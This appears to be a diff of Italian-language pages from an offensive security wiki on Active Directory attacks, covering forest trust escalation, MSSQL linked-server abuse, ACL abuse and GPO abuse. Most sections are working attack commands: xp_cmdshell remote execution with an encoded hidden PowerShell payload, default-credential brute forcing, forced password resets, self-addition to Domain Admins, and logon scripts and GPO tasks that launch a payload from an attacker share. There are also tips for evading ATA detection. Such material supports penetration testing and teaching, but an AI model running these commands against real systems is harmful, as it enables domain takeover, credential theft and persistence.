||||
@ -553,8 +556,21 @@ Gli attaccanti potrebbero accedere alle risorse in un altro dominio attraverso t
|
||||
- **Appartenenza a Gruppi di Domini Esterni**: I principi possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
|
||||
- **Liste di Controllo degli Accessi (ACL)**: I principi potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
|
||||
|
||||
### Escalation dei privilegi da Figlio a Genitore nella foresta
|
||||
### Trova utenti/gruppi esterni con permessi
|
||||
|
||||
Puoi controllare **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** per trovare principi di sicurezza esterni nel dominio. Questi saranno utenti/gruppi di **un dominio/foresta esterna**.
|
||||
|
||||
Puoi controllare questo in **Bloodhound** o usando powerview:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
|
||||
# Get groups inside a domain with users our
|
||||
Get-DomainForeignGroupMember
|
||||
```
|
||||
### Escalazione dei privilegi dal Child al Parent forest
|
||||
```bash
|
||||
# Fro powerview
|
||||
Get-DomainTrust
|
||||
|
||||
SourceName : sub.domain.local --> current domain
|
||||
@ -565,6 +581,18 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
|
||||
WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
Altri modi per enumerare i trust di dominio:
|
||||
```bash
|
||||
# Get DCs
|
||||
nltest /dsgetdc:<DOMAIN>
|
||||
|
||||
# Get all domain trusts
|
||||
nltest /domain_trusts /all_trusts /v
|
||||
|
||||
# Get all trust of a domain
|
||||
nltest /dclist:sub.domain.local
|
||||
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ci sono **2 chiavi fidate**, una per _Child --> Parent_ e un'altra per _Parent_ --> _Child_.\
|
||||
> Puoi utilizzare quella usata dal dominio corrente con:
|
||||
@ -584,7 +612,7 @@ sid-history-injection.md
|
||||
|
||||
#### Sfruttare il Configuration NC scrivibile
|
||||
|
||||
Comprendere come il Configuration Naming Context (NC) possa essere sfruttato è cruciale. Il Configuration NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD) su una foresta. Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con i DC scrivibili che mantengono una copia scrivibile del Configuration NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
|
||||
Comprendere come il Configuration Naming Context (NC) possa essere sfruttato è cruciale. Il Configuration NC funge da repository centrale per i dati di configurazione in ambienti Active Directory (AD) all'interno di una foresta. Questi dati vengono replicati a ogni Domain Controller (DC) all'interno della foresta, con DC scrivibili che mantengono una copia scrivibile del Configuration NC. Per sfruttare questo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un DC child.
|
||||
|
||||
**Collegare GPO al sito root DC**
|
||||
|
||||
@ -606,12 +634,12 @@ Ulteriori letture sono disponibili su [Schema Change Trust Attacks](https://impr
|
||||
|
||||
**Da DA a EA con ADCS ESC5**
|
||||
|
||||
La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti di Public Key Infrastructure (PKI) per creare un modello di certificato che consente l'autenticazione come qualsiasi utente all'interno della foresta. Poiché gli oggetti PKI risiedono nel Configuration NC, compromettere un DC child scrivibile consente l'esecuzione di attacchi ESC5.
|
||||
La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti della Public Key Infrastructure (PKI) per creare un modello di certificato che consente l'autenticazione come qualsiasi utente all'interno della foresta. Poiché gli oggetti PKI risiedono nel Configuration NC, compromettere un DC child scrivibile consente l'esecuzione di attacchi ESC5.
|
||||
|
||||
Maggiori dettagli su questo possono essere letti in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari privi di ADCS, l'attaccante ha la capacità di impostare i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Dominio Foresta Esterno - Unidirezionale (In entrata) o bidirezionale
|
||||
```powershell
|
||||
### Dominio Foresta Esterno - Unidirezionale (Inbound) o bidirezionale
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
TargetName : domain.external --> Destination domain
|
||||
@ -621,14 +649,14 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
In questo scenario **il tuo dominio è fidato** da uno esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso su quale dominio esterno** e poi cercare di sfruttarlo:
|
||||
In questo scenario **il tuo dominio è fidato** da un dominio esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso a quale dominio esterno** e poi cercare di sfruttarlo:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### Dominio della Foresta Esterno - Unidirezionale (In uscita)
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
SourceName : current.local --> Current domain
|
||||
@ -665,7 +693,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Autenticazione Selettiva:**
|
||||
|
||||
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite affinché gli utenti accedano ai domini e ai server all'interno del dominio o della foresta fidante.
|
||||
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite per gli utenti per accedere ai domini e ai server all'interno del dominio o della foresta fidante.
|
||||
- È importante notare che queste misure non proteggono contro lo sfruttamento del Contesto di Nominazione di Configurazione (NC) scrivibile o attacchi all'account di fiducia.
|
||||
|
||||
[**Ulteriori informazioni sulle fiducie di dominio in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
@ -697,12 +725,12 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
- **Per Oggetti Utente**: Indicatori sospetti includono ObjectSID atipico, accessi infrequenti, date di creazione e bassi conteggi di password errate.
|
||||
- **Indicatori Generali**: Confrontare gli attributi di potenziali oggetti esca con quelli di oggetti genuini può rivelare incongruenze. Strumenti come [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) possono aiutare a identificare tali inganni.
|
||||
|
||||
### **Evasione dei Sistemi di Rilevamento**
|
||||
### **Evitare i Sistemi di Rilevamento**
|
||||
|
||||
- **Evasione della Rilevazione Microsoft ATA**:
|
||||
- **Enumerazione Utente**: Evitare l'enumerazione delle sessioni sui Controller di Dominio per prevenire la rilevazione ATA.
|
||||
- **Bypass della Rilevazione di Microsoft ATA**:
|
||||
- **Enumerazione degli Utenti**: Evitare l'enumerazione delle sessioni sui Controller di Dominio per prevenire la rilevazione da parte di ATA.
|
||||
- **Impersonificazione del Ticket**: Utilizzare chiavi **aes** per la creazione di ticket aiuta a evitare la rilevazione non degradando a NTLM.
|
||||
- **Attacchi DCSync**: È consigliato eseguire da un non-Controller di Dominio per evitare la rilevazione ATA, poiché l'esecuzione diretta da un Controller di Dominio attiverà avvisi.
|
||||
- **Attacchi DCSync**: È consigliato eseguire da un non-Controller di Dominio per evitare la rilevazione da parte di ATA, poiché l'esecuzione diretta da un Controller di Dominio attiverà avvisi.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||
### Powershell
|
||||
|
||||
Il modulo powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) è molto utile in questo caso.
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\PowerupSQL.psd1
|
||||
````
|
||||
### Enumerare dalla rete senza sessione di dominio
|
||||
```powershell
|
||||
```bash
|
||||
# Get local MSSQL instance (if any)
|
||||
Get-SQLInstanceLocal
|
||||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||||
@ -108,8 +108,8 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads
|
||||
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
|
||||
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
|
||||
```
|
||||
### Enumerazione dall'interno del dominio
|
||||
```powershell
|
||||
### Enumerare dall'interno del dominio
|
||||
```bash
|
||||
# Get local MSSQL instance (if any)
|
||||
Get-SQLInstanceLocal
|
||||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||||
@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
|
||||
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
|
||||
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
|
||||
|
||||
# Try dictionary attack to login
|
||||
Invoke-SQLAuditWeakLoginPw
|
||||
|
||||
# Search SPNs of common software and try the default creds
|
||||
Get-SQLServerDefaultLoginPw
|
||||
|
||||
#Test connections with each one
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
|
||||
|
||||
@ -127,14 +133,26 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
||||
# Get DBs, test connections and get info in oneliner
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
|
||||
```
|
||||
## Abuso di base di MSSQL
|
||||
## MSSQL Abuso di Base
|
||||
|
||||
### Accesso al DB
|
||||
```powershell
|
||||
```bash
|
||||
# List databases
|
||||
Get-SQLInstanceDomain | Get-SQLDatabase
|
||||
|
||||
# List tables in a DB you can read
|
||||
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
|
||||
|
||||
# List columns in a table
|
||||
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
|
||||
|
||||
# Get some sample data from a column in a table (columns username & passwor din the example)
|
||||
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
|
||||
|
||||
#Perform a SQL query
|
||||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
|
||||
|
||||
#Dump an instance (a lotof CVSs generated in current dir)
|
||||
#Dump an instance (a lot of CVSs generated in current dir)
|
||||
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
||||
|
||||
# Search keywords in columns trying to access the MSSQL DBs
|
||||
@ -144,7 +162,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
|
||||
### MSSQL RCE
|
||||
|
||||
Potrebbe essere anche possibile **eseguire comandi** all'interno dell'host MSSQL
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
```
|
||||
@ -163,7 +181,7 @@ Se un'istanza MSSQL è fidata (link del database) da un'altra istanza MSSQL. Se
|
||||
**I link tra i database funzionano anche attraverso le fiducia tra foreste.**
|
||||
|
||||
### Abuso di Powershell
|
||||
```powershell
|
||||
```bash
|
||||
#Look for MSSQL links of an accessible instance
|
||||
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
||||
|
||||
@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
|
||||
## If you see the results of @@selectname, it worked
|
||||
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
|
||||
```
|
||||
Un altro strumento simile che potrebbe essere utilizzato è [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
|
||||
```bash
|
||||
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
|
||||
# Cobalt Strike
|
||||
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Puoi facilmente controllare i link fidati utilizzando metasploit.
|
||||
@ -206,7 +230,7 @@ Nota che metasploit cercherà di abusare solo della funzione `openquery()` in MS
|
||||
|
||||
### Manuale - Openquery()
|
||||
|
||||
Da **Linux** puoi ottenere una shell della console MSSQL con **sqsh** e **mssqlclient.py.**
|
||||
Da **Linux** puoi ottenere una shell console MSSQL con **sqsh** e **mssqlclient.py.**
|
||||
|
||||
Da **Windows** puoi anche trovare i link ed eseguire comandi manualmente utilizzando un **client MSSQL come** [**HeidiSQL**](https://www.heidisql.com)
|
||||
|
||||
@ -228,11 +252,11 @@ Eseguire query tramite il link (esempio: trova più link nella nuova istanza acc
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
> [!WARNING]
|
||||
> Controlla dove vengono utilizzate le virgolette doppie e singole, è importante usarle in questo modo.
|
||||
> Controlla dove vengono utilizzate le virgolette doppie e singole, è importante usarle in quel modo.
|
||||
|
||||
.png>)
|
||||
|
||||
Puoi continuare questa catena di link fidati per sempre manualmente.
|
||||
Puoi continuare questa catena di link fidati all'infinito manualmente.
|
||||
```sql
|
||||
# First level RCE
|
||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||
@ -242,7 +266,7 @@ SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", '
|
||||
```
|
||||
Se non puoi eseguire azioni come `exec xp_cmdshell` da `openquery()`, prova con il metodo `EXECUTE`.
|
||||
|
||||
### Manuale - EXECUTE
|
||||
### Manual - EXECUTE
|
||||
|
||||
Puoi anche abusare dei link fidati utilizzando `EXECUTE`:
|
||||
```bash
|
||||
@ -254,7 +278,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
L'**utente locale MSSQL** di solito ha un tipo speciale di privilegio chiamato **`SeImpersonatePrivilege`**. Questo consente all'account di "impersonare un client dopo l'autenticazione".
|
||||
|
||||
Una strategia che molti autori hanno ideato è forzare un servizio SYSTEM ad autenticarsi a un servizio rogue o man-in-the-middle creato dall'attaccante. Questo servizio rogue è quindi in grado di impersonare il servizio SYSTEM mentre sta cercando di autenticarsi.
|
||||
Una strategia che molti autori hanno ideato è forzare un servizio SYSTEM ad autenticarsi a un servizio rogue o man-in-the-middle che l'attaccante crea. Questo servizio rogue è quindi in grado di impersonare il servizio SYSTEM mentre sta cercando di autenticarsi.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) ha una raccolta di queste varie tecniche che possono essere eseguite tramite il comando `execute-assembly` di Beacon.
|
||||
|
||||
|
||||
@ -10,13 +10,13 @@ Questo privilegio concede a un attaccante il pieno controllo su un account utent
|
||||
|
||||
- **Cambiare la Password del Target**: Utilizzando `net user <username> <password> /domain`, l'attaccante può reimpostare la password dell'utente.
|
||||
- **Kerberoasting Mirato**: Assegnare un SPN all'account dell'utente per renderlo kerberoastable, quindi utilizzare Rubeus e targetedKerberoast.py per estrarre e tentare di decifrare gli hash del ticket-granting ticket (TGT).
|
||||
```powershell
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Disabilita la pre-autenticazione per l'utente, rendendo il suo account vulnerabile all'ASREPRoasting.
|
||||
```powershell
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **Diritti GenericAll sul Gruppo**
|
||||
@ -24,7 +24,7 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
Questo privilegio consente a un attaccante di manipolare le appartenenze ai gruppi se ha diritti `GenericAll` su un gruppo come `Domain Admins`. Dopo aver identificato il nome distinto del gruppo con `Get-NetGroup`, l'attaccante può:
|
||||
|
||||
- **Aggiungersi al Gruppo Domain Admins**: Questo può essere fatto tramite comandi diretti o utilizzando moduli come Active Directory o PowerSploit.
|
||||
```powershell
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
@ -40,27 +40,27 @@ Avere questi privilegi su un oggetto computer o un account utente consente di:
|
||||
|
||||
Se un utente ha diritti `WriteProperty` su tutti gli oggetti per un gruppo specifico (ad es., `Domain Admins`), può:
|
||||
|
||||
- **Aggiungersi al Gruppo Domain Admins**: Realizzabile combinando i comandi `net user` e `Add-NetGroupUser`, questo metodo consente l'escalation dei privilegi all'interno del dominio.
|
||||
```powershell
|
||||
- **Add Themselves to the Domain Admins Group**: Raggiungibile combinando i comandi `net user` e `Add-NetGroupUser`, questo metodo consente l'escalation dei privilegi all'interno del dominio.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
Questo privilegio consente agli attaccanti di aggiungersi a gruppi specifici, come `Domain Admins`, attraverso comandi che manipolano direttamente l'appartenenza ai gruppi. Utilizzando la seguente sequenza di comandi è possibile aggiungersi:
|
||||
```powershell
|
||||
Questo privilegio consente agli attaccanti di aggiungersi a gruppi specifici, come `Domain Admins`, attraverso comandi che manipolano direttamente l'appartenenza ai gruppi. Utilizzando la seguente sequenza di comandi è possibile l'auto-aggiunta:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Auto-Membership)**
|
||||
|
||||
Un privilegio simile, questo consente agli attaccanti di aggiungersi direttamente ai gruppi modificando le proprietà del gruppo se hanno il diritto `WriteProperty` su quei gruppi. La conferma e l'esecuzione di questo privilegio vengono eseguite con:
|
||||
```powershell
|
||||
Un privilegio simile, questo consente agli attaccanti di aggiungersi direttamente ai gruppi modificando le proprietà del gruppo se hanno il diritto di `WriteProperty` su quei gruppi. La conferma e l'esecuzione di questo privilegio vengono eseguite con:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Avere il `ExtendedRight` su un utente per `User-Force-Change-Password` consente il ripristino delle password senza conoscere la password attuale. La verifica di questo diritto e il suo sfruttamento possono essere effettuati tramite PowerShell o strumenti da riga di comando alternativi, offrendo diversi metodi per reimpostare la password di un utente, comprese sessioni interattive e one-liner per ambienti non interattivi. I comandi variano da semplici invocazioni di PowerShell all'uso di `rpcclient` su Linux, dimostrando la versatilità dei vettori di attacco.
|
||||
```powershell
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
@ -72,8 +72,8 @@ rpcclient -U KnownUsername 10.10.10.192
|
||||
```
|
||||
## **WriteOwner su Gruppo**
|
||||
|
||||
Se un attaccante scopre di avere diritti `WriteOwner` su un gruppo, può cambiare la proprietà del gruppo a se stesso. Questo è particolarmente impattante quando il gruppo in questione è `Domain Admins`, poiché cambiare la proprietà consente un controllo più ampio sugli attributi e sui membri del gruppo. Il processo prevede l'identificazione dell'oggetto corretto tramite `Get-ObjectAcl` e poi l'uso di `Set-DomainObjectOwner` per modificare il proprietario, sia tramite SID che per nome.
|
||||
```powershell
|
||||
Se un attaccante scopre di avere diritti `WriteOwner` su un gruppo, può cambiare la proprietà del gruppo a se stesso. Questo è particolarmente impattante quando il gruppo in questione è `Domain Admins`, poiché cambiare la proprietà consente un controllo più ampio sugli attributi e sui membri del gruppo. Il processo prevede l'identificazione dell'oggetto corretto tramite `Get-ObjectAcl` e poi l'uso di `Set-DomainObjectOwner` per modificare il proprietario, sia tramite SID che nome.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
@ -81,13 +81,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
## **GenericWrite su Utente**
|
||||
|
||||
Questo permesso consente a un attaccante di modificare le proprietà dell'utente. In particolare, con accesso `GenericWrite`, l'attaccante può cambiare il percorso dello script di accesso di un utente per eseguire uno script malevolo al momento dell'accesso dell'utente. Questo viene realizzato utilizzando il comando `Set-ADObject` per aggiornare la proprietà `scriptpath` dell'utente target per puntare allo script dell'attaccante.
|
||||
```powershell
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite su Gruppo**
|
||||
|
||||
Con questo privilegio, gli attaccanti possono manipolare l'appartenenza ai gruppi, ad esempio aggiungendo se stessi o altri utenti a gruppi specifici. Questo processo prevede la creazione di un oggetto di credenziali, utilizzandolo per aggiungere o rimuovere utenti da un gruppo e verificando le modifiche all'appartenenza con comandi PowerShell.
|
||||
```powershell
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
|
||||
@ -97,7 +97,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Possedere un oggetto AD e avere privilegi `WriteDACL` su di esso consente a un attaccante di concedere a se stesso privilegi `GenericAll` sull'oggetto. Questo viene realizzato attraverso la manipolazione di ADSI, consentendo il pieno controllo sull'oggetto e la possibilità di modificare le sue appartenenze ai gruppi. Nonostante ciò, esistono limitazioni quando si cerca di sfruttare questi privilegi utilizzando i cmdlet `Set-Acl` / `Get-Acl` del modulo Active Directory.
|
||||
```powershell
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
|
||||
@ -106,7 +106,7 @@ $ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **Replica sul Dominio (DCSync)**
|
||||
|
||||
L'attacco DCSync sfrutta specifici permessi di replica sul dominio per mimare un Domain Controller e sincronizzare i dati, inclusi le credenziali degli utenti. Questa potente tecnica richiede permessi come `DS-Replication-Get-Changes`, consentendo agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Scopri di più sull'attacco DCSync qui.**](../dcsync.md)
|
||||
L'attacco DCSync sfrutta specifici permessi di replica sul dominio per mimare un Domain Controller e sincronizzare dati, inclusi le credenziali degli utenti. Questa potente tecnica richiede permessi come `DS-Replication-Get-Changes`, consentendo agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Scopri di più sull'attacco DCSync qui.**](../dcsync.md)
|
||||
|
||||
## Delegazione GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
@ -127,19 +127,19 @@ Per identificare GPO mal configurati, i cmdlet di PowerSploit possono essere con
|
||||
### Abuso GPO - New-GPOImmediateTask
|
||||
|
||||
I GPO mal configurati possono essere sfruttati per eseguire codice, ad esempio, creando un'attività pianificata immediata. Questo può essere fatto per aggiungere un utente al gruppo degli amministratori locali sulle macchine interessate, elevando significativamente i privilegi:
|
||||
```powershell
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuso di GPO
|
||||
|
||||
Il modulo GroupPolicy, se installato, consente la creazione e il collegamento di nuovi GPO, e la configurazione di preferenze come valori di registro per eseguire backdoor sui computer interessati. Questo metodo richiede che il GPO venga aggiornato e che un utente acceda al computer per l'esecuzione:
|
||||
```powershell
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuso di GPO
|
||||
|
||||
SharpGPOAbuse offre un metodo per abusare delle GPO esistenti aggiungendo attività o modificando impostazioni senza la necessità di creare nuove GPO. Questo strumento richiede la modifica delle GPO esistenti o l'uso di strumenti RSAT per crearne di nuove prima di applicare le modifiche:
|
||||
SharpGPOAbuse offre un metodo per abusare delle GPO esistenti aggiungendo attività o modificando impostazioni senza la necessità di creare nuove GPO. Questo strumento richiede la modifica delle GPO esistenti o l'uso degli strumenti RSAT per crearne di nuove prima di applicare le modifiche:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
@ -147,11 +147,11 @@ SharpGPOAbuse offre un metodo per abusare delle GPO esistenti aggiungendo attivi
|
||||
|
||||
Gli aggiornamenti GPO si verificano tipicamente ogni 90 minuti. Per accelerare questo processo, specialmente dopo aver implementato una modifica, il comando `gpupdate /force` può essere utilizzato sul computer target per forzare un aggiornamento immediato della policy. Questo comando garantisce che eventuali modifiche alle GPO vengano applicate senza attendere il prossimo ciclo di aggiornamento automatico.
|
||||
|
||||
### Dietro le quinte
|
||||
### Sotto il cofano
|
||||
|
||||
Dopo aver ispezionato i Task Pianificati per una data GPO, come la `Misconfigured Policy`, è possibile confermare l'aggiunta di task come `evilTask`. Questi task vengono creati tramite script o strumenti da riga di comando con l'obiettivo di modificare il comportamento del sistema o di elevare i privilegi.
|
||||
Dopo aver ispezionato i Compiti Pianificati per una data GPO, come la `Misconfigured Policy`, è possibile confermare l'aggiunta di compiti come `evilTask`. Questi compiti vengono creati tramite script o strumenti da riga di comando con l'obiettivo di modificare il comportamento del sistema o di elevare i privilegi.
|
||||
|
||||
La struttura del task, come mostrato nel file di configurazione XML generato da `New-GPOImmediateTask`, delinea le specifiche del task pianificato - inclusi il comando da eseguire e i suoi trigger. Questo file rappresenta come i task pianificati sono definiti e gestiti all'interno delle GPO, fornendo un metodo per eseguire comandi o script arbitrari come parte dell'applicazione delle policy.
|
||||
La struttura del compito, come mostrato nel file di configurazione XML generato da `New-GPOImmediateTask`, delinea le specifiche del compito pianificato - inclusi il comando da eseguire e i suoi trigger. Questo file rappresenta come i compiti pianificati sono definiti e gestiti all'interno delle GPO, fornendo un metodo per eseguire comandi o script arbitrari come parte dell'applicazione delle policy.
|
||||
|
||||
### Utenti e Gruppi
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@
|
||||
|
||||
### Considerazioni Speciali
|
||||
|
||||
- I **Subject Alternative Names (SANs)** espandono l'applicabilità di un certificato a più identità, cruciale per server con più domini. Processi di emissione sicuri sono vitali per evitare rischi di impersonificazione da parte di attaccanti che manipolano la specifica SAN.
|
||||
- I **Subject Alternative Names (SANs)** espandono l'applicabilità di un certificato a più identità, cruciale per i server con più domini. Processi di emissione sicuri sono vitali per evitare rischi di impersonificazione da parte di attaccanti che manipolano la specifica SAN.
|
||||
|
||||
### Autorità di Certificazione (CA) in Active Directory (AD)
|
||||
|
||||
@ -57,7 +57,7 @@ Questi diritti sono specificati attraverso Access Control Entries (ACEs), dettag
